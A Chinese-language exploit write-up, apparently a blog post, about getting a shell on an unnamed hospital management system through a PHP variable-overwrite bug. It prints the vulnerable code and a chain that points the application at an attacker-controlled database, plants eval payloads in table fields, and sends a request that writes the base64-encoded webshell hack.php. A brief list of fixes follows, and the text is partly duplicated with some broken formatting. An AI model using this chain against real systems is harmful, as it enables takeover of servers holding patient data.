实战——某医院管理系统Getshell
字数 1061 2025-08-29 08:32:24

某医院管理系统Getshell漏洞分析与利用

漏洞概述

本文详细分析某医院管理系统(基于某博CMS)存在的变量覆盖漏洞及后续Getshell利用链。该漏洞组合了变量覆盖和数据库配置修改,最终通过eval函数执行恶意代码实现Getshell。

漏洞分析

1. 变量覆盖漏洞

漏洞位于/inc/common.inc.php文件中,关键代码如下:

$_POST = Add_S($_POST);
$_GET = Add_S($_GET);
$_COOKIE = Add_S($_COOKIE);

foreach($_COOKIE AS $_key => $_value){
    unset(
$$
_key);
}

foreach($_POST AS $_key => $_value){
    !ereg("^\_[A-Z]+", $_key) && 
$$
_key = $_POST[$_key];
}

foreach($_GET AS $_key => $_value){
    !ereg("^\_[A-Z]+", $_key) && 
$$
_key = $_GET[$_key];
}

这段代码存在以下问题:

  1. 遍历$_GET$_POST$_COOKIE数组
  2. 将数组键名作为变量名,键值作为变量值
  3. 仅通过简单的正则^\_[A-Z]+过滤(排除以大写字母开头的变量)
  4. 导致攻击者可以覆盖任意变量

2. 漏洞验证

验证代码如下:

<?php
error_reporting(0);
$id = 111111;
echo $id;
echo "</br>";
foreach($_COOKIE AS $_key => $_value){
    unset(
$$
_key);
}
foreach($_POST AS $_key => $_value){
    !ereg("^\_[A-Z]+", $_key) && 
$$
_key = $_POST[$_key];
}
foreach($_GET AS $_key => $_value){
    !ereg("^\_[A-Z]+", $_key) && 
$$
_key = $_GET[$_key];
}
echo $id;
?>

访问?id=test会将$id的值从111111覆盖为test。

3. 文件写入漏洞

fujsarticle.php中,存在文件写入操作:

$FileName = dirname(__FILE__)."/../cache/fujsarticle_cache/";
if($type == 'like'){
    $FileName .= floor($id/3000)."/";
} else {
    unset($id);
}

if(!is_dir(dirname($FileName))){
    makepath(dirname($FileName));
}

if((time() - filemtime($FileName)) > ($webdb["cache_time_$type"] * 60)){
    write_file($FileName, "<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");
}

通过变量覆盖可以控制$FileName$show变量,实现任意文件写入。

漏洞利用链

第一步:覆盖数据库配置

利用变量覆盖漏洞修改/data/mysql_config.php文件内容,导致数据库配置错误。

第二步:利用jf.php执行恶意代码

jf.php关键代码:

require(dirname(__FILE__)."/"."global.php");
$lfjdb && $lfjdb[money] = get_money($lfjdb[uid]);
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){
    $fnameDB[$rs[fid]] = $rs[name];
    $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
    while($rs2 = $db->fetch_array($query2)){
        eval("\$rs2[title]=\"$rs2[title]\";");
        eval("\$rs2[content]=\"$rs2[content]\";");
        $jfDB[$rs[fid]][] = $rs2;
    }
}

利用方式:

  1. 在攻击者控制的数据库中创建qb_jfaboutqb_jfsort
  2. qb_jfabout表的title和content字段插入恶意代码

表结构示例:

id | fid | list | title               | content
1  | 1   | 1    | "+$_GET[a]($_GET[b]);+" | "+$_GET[a]($_GET[b]);+"

第三步:触发漏洞写入Webshell

构造如下请求:

/do/jf.php?dbuser=数据库用户&dbpw=数据库密码&dbhost=数据库地址&dbname=数据库名称&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${file_put_contents(base64_decode('aGFjay5waHA='),base64_decode('PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+'))};

其中:

  • aGFjay5waHA=hack.php的base64编码
  • PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+<?php @eval('$_POST[hack]');?>的base64编码

该请求会在当前目录生成一个名为hack.php的Webshell,内容为<?php @eval('$_POST[hack]');?>

防御措施

  1. 修复变量覆盖漏洞:
    • 避免使用`

\[`可变变量 - 使用白名单方式限制可覆盖的变量 - 对用户输入进行严格过滤 2. 修复eval执行漏洞: - 避免直接eval用户可控数据 - 对数据库内容进行严格过滤 3. 其他安全建议: - 限制数据库连接参数修改权限 - 对文件写入操作进行严格权限控制 - 定期进行安全审计和代码审查 ## 总结 该漏洞利用链展示了从变量覆盖到最终Getshell的完整过程,强调了安全开发中需要关注的多方面问题。开发人员应当避免使用危险函数,并对所有用户输入保持警惕。\]

某医院管理系统Getshell漏洞分析与利用 漏洞概述 本文详细分析某医院管理系统(基于某博CMS)存在的变量覆盖漏洞及后续Getshell利用链。该漏洞组合了变量覆盖和数据库配置修改,最终通过eval函数执行恶意代码实现Getshell。 漏洞分析 1. 变量覆盖漏洞 漏洞位于 /inc/common.inc.php 文件中,关键代码如下: 这段代码存在以下问题: 遍历 $_GET 、 $_POST 和 $_COOKIE 数组 将数组键名作为变量名,键值作为变量值 仅通过简单的正则 ^\_[A-Z]+ 过滤(排除以大写字母开头的变量) 导致攻击者可以覆盖任意变量 2. 漏洞验证 验证代码如下: 访问 ?id=test 会将 $id 的值从111111覆盖为test。 3. 文件写入漏洞 在 fujsarticle.php 中,存在文件写入操作: 通过变量覆盖可以控制 $FileName 和 $show 变量,实现任意文件写入。 漏洞利用链 第一步:覆盖数据库配置 利用变量覆盖漏洞修改 /data/mysql_config.php 文件内容,导致数据库配置错误。 第二步:利用jf.php执行恶意代码 jf.php 关键代码: 利用方式: 在攻击者控制的数据库中创建 qb_jfabout 和 qb_jfsort 表 在 qb_jfabout 表的title和content字段插入恶意代码 表结构示例: 第三步:触发漏洞写入Webshell 构造如下请求: 其中: aGFjay5waHA= 是 hack.php 的base64编码 PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+ 是 <?php @eval('$_POST[hack]');?> 的base64编码 该请求会在当前目录生成一个名为 hack.php 的Webshell,内容为 <?php @eval('$_POST[hack]');?> 。 防御措施 修复变量覆盖漏洞: 避免使用 $$ 可变变量 使用白名单方式限制可覆盖的变量 对用户输入进行严格过滤 修复eval执行漏洞: 避免直接eval用户可控数据 对数据库内容进行严格过滤 其他安全建议: 限制数据库连接参数修改权限 对文件写入操作进行严格权限控制 定期进行安全审计和代码审查 总结 该漏洞利用链展示了从变量覆盖到最终Getshell的完整过程,强调了安全开发中需要关注的多方面问题。开发人员应当避免使用危险函数,并对所有用户输入保持警惕。